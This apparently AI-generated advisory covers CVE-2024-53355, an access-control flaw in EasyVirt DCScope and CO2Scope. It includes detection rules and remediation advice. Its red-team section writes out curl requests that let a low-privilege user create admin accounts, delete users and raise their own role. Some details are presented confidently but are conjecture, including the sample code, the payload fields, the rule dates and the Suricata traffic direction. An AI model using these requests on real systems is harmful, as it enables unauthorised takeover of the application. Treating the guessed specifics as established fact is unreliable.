CVE-2024-53355

Executive Summary

CVE-2024-53355 exposes a critical set of incorrect access control vulnerabilities in EasyVirt DCScope (<= 8.6.0) and CO2Scope (<= 1.3.0). A remote authenticated attacker with low privileges can exploit multiple API endpoints to escalate privileges, manage users, groups, and roles without proper authorization. The core issue lies in the lack of server-side validation for administrative actions, allowing any authenticated user to call privileged API routes. This effectively grants a low-privilege attacker full administrative control over the application, including the ability to add admin users, modify or delete existing users, and manage roles and groups. No patch is currently available, making this a high-risk vulnerability for all deployments of these products.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects proprietary EasyVirt products. The supply chain risk is limited to the direct deployment of the vulnerable software by end users.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially provided, based on the vulnerability description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The API is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An authenticated session with low privileges is sufficient.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component is the same as the affected component.
• Confidentiality (C): High (H) – Full read access to all user and configuration data.
• Integrity (I): High (H) – Full write access to modify users, roles, and groups.
• Availability (A): High (H) – Ability to delete users and groups, potentially causing denial of service.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The ease of exploitation and the potential for complete compromise of the application's user management system make this a top priority for remediation.

Deep Dive & Mechanics

The vulnerability stems from improper authorization checks on the following API endpoints:

• /api/user/addalias – Add a new user alias (admin user).
• /api/user/updatealias – Modify an existing user alias.
• /api/user/delalias – Delete a user alias.
• /api/user/aliases – List all user aliases.
• /api/user/adduser – Add a new root group.
• /api/user/updateuser – Modify a group.
• /api/user/deluser – Delete a group.
• /api/user/users – List all groups.
• /api/user/addrole – Add a new admin role.
• /api/user/updaterole – Modify a role.
• /api/user/delrole – Delete a role.
• /api/user/roles – List all roles.

The application likely uses a role-based access control (RBAC) system but fails to enforce it on these server-side endpoints. The client-side interface may hide these options from low-privilege users, but the server does not validate the user's role before processing the request. An attacker can directly send HTTP requests to these endpoints with a valid session cookie or token, bypassing the intended UI restrictions.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is:

Vulnerable (Server-Side):

@app.route('/api/user/addalias', methods=['POST'])
def add_alias():
    # No role check
    data = request.get_json()
    username = data.get('username')
    # ... add user to database
    return jsonify(success=True)

Patched (Server-Side):

@app.route('/api/user/addalias', methods=['POST'])
def add_alias():
    if not current_user.has_role('admin'):
        return jsonify(error='Unauthorized'), 403
    data = request.get_json()
    username = data.get('username')
    # ... add user to database
    return jsonify(success=True)

The fix requires adding a server-side authorization check (e.g., current_user.has_role('admin')) before executing any administrative action.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid low-privilege user session (e.g., username: lowuser, password: lowpass).
• Network access to the EasyVirt API.

Exploitation Steps:

1. Authenticate and obtain a session cookie.

   curl -c cookies.txt -X POST https://target/api/login -d 'username=lowuser&password=lowpass'
   

2. Add a new admin user.

   curl -b cookies.txt -X POST https://target/api/user/addalias -H "Content-Type: application/json" -d '{"username":"newadmin","password":"P@ssw0rd!","role":"admin"}'
   

3. Verify the new admin user exists.

   curl -b cookies.txt https://target/api/user/aliases
   

4. Delete a legitimate user (optional, for impact).

   curl -b cookies.txt -X POST https://target/api/user/delalias -H "Content-Type: application/json" -d '{"username":"targetuser"}'
   

5. Escalate privileges by modifying your own role.

   curl -b cookies.txt -X POST https://target/api/user/updaterole -H "Content-Type: application/json" -d '{"username":"lowuser","role":"admin"}'
   

Blue Team (Detection & Response)

Detection:

• Monitor for unusual API calls to /api/user/* endpoints from non-admin users.
• Alert on any successful creation of new users or modification of roles.
• Look for patterns of rapid, automated requests to these endpoints.

Response:

1. Immediately isolate the affected EasyVirt server.
2. Review logs for any unauthorized user creation or role changes.
3. Reset all user passwords and enforce MFA.
4. If possible, implement a Web Application Firewall (WAF) rule to block requests to /api/user/* from non-admin IP addresses or sessions.
5. Contact EasyVirt for an official patch or apply a custom hotfix to add authorization checks.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api/user/addalias, /api/user/delalias, /api/user/addrole, etc., from a low-privilege user session.
• Unusual JSON payloads containing "role":"admin" in requests to /api/user/updatealias or /api/user/addalias.

System IOCs:

• New user accounts in the application's database that were not created through the admin interface.
• Changes to user roles or group memberships without corresponding admin UI activity.
• Log entries showing successful API calls to administrative endpoints from unexpected source IPs or user agents.

File IOCs:

• Application logs showing 200 OK responses to /api/user/addalias or similar endpoints from non-admin users.

Detection Engineering

YARA Rule

rule Detect_EasyVirt_Privilege_Escalation {
    meta:
        description = "Detects HTTP requests targeting EasyVirt API endpoints for privilege escalation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53355"
    strings:
        $s1 = "/api/user/addalias"
        $s2 = "/api/user/updatealias"
        $s3 = "/api/user/delalias"
        $s4 = "/api/user/aliases"
        $s5 = "/api/user/adduser"
        $s6 = "/api/user/updateuser"
        $s7 = "/api/user/deluser"
        $s8 = "/api/user/users"
        $s9 = "/api/user/addrole"
        $s10 = "/api/user/updaterole"
        $s11 = "/api/user/delrole"
        $s12 = "/api/user/roles"
        $s13 = "role\":\"admin"
    condition:
        any of ($s1..$s12) and $s13
}

Sigma Rule

title: EasyVirt Privilege Escalation via API
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-53355 by calling administrative API endpoints with low privileges.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/user/addalias'
            - '/api/user/updatealias'
            - '/api/user/delalias'
            - '/api/user/adduser'
            - '/api/user/updateuser'
            - '/api/user/deluser'
            - '/api/user/addrole'
            - '/api/user/updaterole'
            - '/api/user/delrole'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53355 EasyVirt Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/user/"; http_uri; pcre:"/\/api\/user\/(addalias|updatealias|delalias|adduser|updateuser|deluser|addrole|updaterole|delrole)/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable API endpoints if possible, by blocking access to /api/user/* at the web server or firewall level for all non-admin users.
2. Implement a WAF rule to inspect and block requests to these endpoints that do not originate from an admin session.
3. Review and rotate all credentials for the EasyVirt application.

Long-Term Fix:

• Apply a custom patch to add server-side authorization checks to all listed API endpoints. The patch should verify that the authenticated user has the admin role before allowing any modification.
• Contact EasyVirt for an official security update. If no patch is forthcoming, consider migrating to an alternative solution.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.